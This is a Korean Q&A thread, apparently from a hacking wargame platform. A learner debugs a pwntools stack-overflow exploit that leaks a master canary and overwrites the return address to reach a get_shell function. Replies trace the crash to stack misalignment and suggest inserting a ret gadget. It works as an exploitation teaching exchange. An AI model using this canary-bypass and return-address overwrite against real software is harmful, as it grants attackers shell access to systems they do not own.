master canary를 알아냈고, 3번 메뉴를 이용해서 아래와 같이 shell을 획득하려고 하는데,
stack smashing 으로 죽는건 아닌데, (canary는 통과한듯 합니다.) [*] Got EOF while reading in interactive로 계속 에러가 발생합니다.
뭐가 잘못 된걸 까요?
giveshell = elf.symbols['get_shell']
payload = b"A"*0x28
payload += p64(canary,endian="little")
payload += b"B"*8
payload += p64(giveshell, endian="little")
p.sendafter("Leave comment: ", payload)
gdb상으로 봐도 get_shell로 잘 넘어간 것 같은데, shell 획득이 안 됩니다.
안녕하세요,
p.interactive()
를 사용하셨는지 확인 부탁드립니다.
아래와 같이 하였는데, shell을 얻지를 못합니다. ㅠ
gdb 상에서 보니, get_shell 함수로 jump한 뒤 system('/bin/sh')를 실행하면서 stcak을 /bin/sh로 덮지 못하고, 바로 signal 루틴쪽으로 jump합니다.
p.sendline(str(3))
giveshell = elf.symbols['get_shell']
payload = b"A"*0x28
payload += p64(canary,endian="little")
payload += b"B"*8
payload += p64(giveshell, endian="little")
p.sendafter("Leave comment: ", payload)
p.interactive()
확인 결과 20.04 환경에서는 stack alignment가 깨지면서 system 함수 안에서 segfault를 유발할 수 있는 것으로 확인하였습니다.
return address를 ret
가젯으로 변경하고 그 이후에 get_shell
함수의 주소를 넣어보시는걸 추천드립니다.
답변 감사합니다. 제 환경은 18.04입니다. retturn address라를 ret 가젯으로 변경하는 것이 어떤 것인지 설명 부탁 드립니다.
18.04 시면 이전 답변 이전에 gdb 에서 죽는 시점의 instruction 이 어떤것인지 봐야할 것같습니다. gdb에서 c(continue) 명령어를 사용하다가 segfault 가 났다고 알려주는 시점의 명령어가 무엇인가요?
0x400a53 다음 instruction에서 signal 방생합니다.
0x400c7d <main+376> ret
↓
0x400a4a <get_shell> push rbp
0x400a4b <get_shell+1> mov rbp, rsp
0x400a4e <get_shell+4> mov edi, 0x400d0d
► 0x400a53 <get_shell+9> call system@plt <system@plt>
command: 0x400d0d ◂— 0x68732f6e69622f /* '/bin/sh' */
0x400a58 <get_shell+14> nop
0x400a59 <get_shell+15> pop rbp
0x400a5a <get_shell+16> ret
0x400a5b <thread_routine> push rbp
0x400a5c <thread_routine+1> mov rbp, rsp```
Stage 8의 ret gadget을 이용해서 Ubuntu 18.04에서의 system() 호출 부 에러 해결했습니다. (movaps를 알아야 하네요)